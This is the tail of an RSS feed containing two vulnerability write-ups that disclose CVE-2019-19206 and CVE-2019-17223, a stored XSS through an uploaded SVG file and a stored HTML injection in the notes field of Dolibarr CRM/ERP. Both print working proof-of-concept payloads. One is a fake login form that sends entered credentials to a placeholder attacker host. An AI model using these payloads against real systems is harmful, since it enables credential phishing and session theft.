            <atom:updated>2019-11-22T19:24:11.427Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2019–19206 — Stored XSS due to JavaScript execution in an SVG file</h3><h3>Summary</h3><p>In my recent security research in Dolibarr CRM / ERP, I was fortunately able to discover another vulnerability that gave me my second CVE, with an crafted SVG file, I was able to execute arbitrary javascript code in the application, which currently uses a blacklist to avoid XSS injections that just filter input plain text, with this method you can “bypass” this protection.</p><h3>Description</h3><p>The technique consists in craft a malicious SVG file, since the application accept any extension file for pictures and do not filter the content, the code below can be saved with the .svg extension file:</p><blockquote>&lt;?xml version=”1.0&quot; standalone=”no”?&gt;<br>&lt;!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “<a href="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd</a>&quot;&gt;</blockquote><blockquote>&lt;svg version=”1.1&quot; baseProfile=”full” xmlns=”<a href="http://www.w3.org/2000/svg">http://www.w3.org/2000/svg</a>&quot;&gt;<br> &lt;polygon id=”triangle” points=”0,0 0,50 50,0&quot; fill=”#009900&quot; stroke=”#004400&quot;/&gt;<br> &lt;script type=”text/javascript”&gt;<br> alert(‘Vulnerable to XSS attacks’);<br> &lt;/script&gt;<br>&lt;/svg&gt;</blockquote><p>Pay attention at the script tag between the code that can be easily manipulated with the javascript that you want, in my case I just used the alert function to confirm the vulnerability.</p><p>This vulnerability can be exploited by uploading this file, the alert function will be triggered when opening for the preview image or by going to the path where the file is saved, in the case of profile pic: <a href="http://localhost/dolibarr/viewimage.php?modulepart=userphoto&amp;entity=1&amp;file=2%2Fxsssvg.svg&amp;cache=0">http://IPOFAPPLICATION/dolibarr/viewimage.php?modulepart=userphoto&amp;entity=1&amp;file=2%2Fxsssvg.svg&amp;cache=0</a></p><p>The steps to reproduce are quite simple, just upload the crafted image at your profile pic or where you want since this vulnerability affects all file upload inputs of Dolibarr:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*U_Gs3fXGAGeggFDpupfo_Q.png" /></figure><p>Now just by opening the preview image, the javascript will be executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JM5knGOeuguGOeceXxglA.png" /></figure><p>Or like I said, going by the path of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ula8XNLdwHMTlxwJEU3pQg.png" /></figure><p>This vulnerability affects 10.0.3 version but earlier versions are also vulnerable.</p><p>For more about the exploitation via svg files:</p><p><a href="http://ghostlulz.com/xss-svg/">http://ghostlulz.com/xss-svg/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee1d038fba76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2019–17223 — Stored HTML Injection | Dolibarr CRM/ERP]]></title>
            <link>https://medium.com/@Joaozc/cve-2019-17223-stored-html-injection-dolibarr-crm-erp-ad1e064d0ca5?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad1e064d0ca5</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Sun, 06 Oct 2019 22:59:46 GMT</pubDate>
            <atom:updated>2019-10-28T17:54:56.122Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2019–17223 — Stored HTML Injection | Dolibarr CRM/ERP</h3><h3><strong>Summary</strong></h3><p>Dolibarr ERP/CRM is a open source software for small and medium businesses, foundations or freelancers, it provides different features for enterprise resource planning and customer relationship management.</p><p>The latest version of Dolibarr provide a good mechanism of defense for script injections, but with some research in the platform I found a field that do not validate the input at all, leaving room for HTML code execution.</p><h3>Description</h3><p>In user dashboard, has a field to save notes, the input is not validate at all, and I was able to inject HTML code, that is stored in the application. The main problem is that all the page can be customized by injections on note.php and simply accessed by the link:<br><a href="http://(ipofapplication)/dolibarr/user/note.php?id=(user_id">http://(IPOfApplication)/dolibarr/user/note.php?id=(user_id</a>)</p><p>In my PoC(Proof of Concept) I craft a simple WEB login page, this page is showed by accessing the link above by the user or by principally, and more critical, the admin of the application. A complete and similar login page of the real application could be done and stored, making a good and convincing phishing since the URL is trusted and part of the application. Also this can be used for other type of attacks like session hijacking or just “defacement” of this page.</p><p>Below the vulnerable field(note.php):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*SiTI3PHCS9qyKIGltR_08w.png" /></figure><p>There, I injected my simple login page, attackers could inject their own malicious HTML code like this:</p><p><em>&lt;div style=’position: absolute; left: 0px; top: 0px; width: 2000px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;’&gt;Please login with valid credentials:&lt;br&gt;&lt;/br&gt;&lt;br&gt;Please enter your credentials to see the content:&lt;/br&gt;&lt;br&gt;&lt;form name=’Login’ action=’http://attackerIP:port/&#39;&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;Username:&lt;/td&gt;&lt;td&gt;&lt;input type=’text’ name=’username’/&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Password:&lt;/td&gt;&lt;td&gt;&lt;input type=’text’ name=’password’/&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=2 align=center&gt;&lt;input type=’submit’ value=’Login’/&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;&lt;/div&gt;</em></p><p>Once injected, always that user visit their notes by the dashboard or by the link, the login page will be showed and the attacker can visualize the credentials on his own server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*2Hzwr-a0S8GZnX6AoWTfkQ.png" /></figure><p>This vulnerability affects the version 10.0.2 but other versions may also vulnerable.</p><p>For more:</p><p><a href="https://snyk.io/vuln/SNYK-PHP-DOLIBARRDOLIBARR-473217">https://snyk.io/vuln/SNYK-PHP-DOLIBARRDOLIBARR-473217</a></p><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17223">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17223</a><br><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-17223">https://nvd.nist.gov/vuln/detail/CVE-2019-17223</a></p><p><a href="https://www.cvedetails.com/cve/CVE-2019-17223/">https://www.cvedetails.com/cve/CVE-2019-17223/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad1e064d0ca5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>